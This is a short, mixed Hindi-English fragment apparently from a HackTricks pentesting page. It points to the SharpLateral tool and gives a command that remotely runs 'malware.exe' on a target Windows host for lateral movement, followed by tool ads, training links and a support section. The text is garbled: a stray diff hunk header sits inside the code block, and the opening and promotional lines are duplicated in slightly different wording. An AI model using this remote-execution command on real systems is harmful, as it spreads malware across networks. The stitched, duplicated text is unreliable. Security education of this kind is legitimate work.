आप [**SharpLateral**](https://github.com/mertdas/SharpLateral) का भी उपयोग कर सकते हैं:
You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
{% code overflow="wrap" %}
```
@ -52,17 +60,24 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** को आसानी से बना और **स्वचालित** कर सकें।\
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}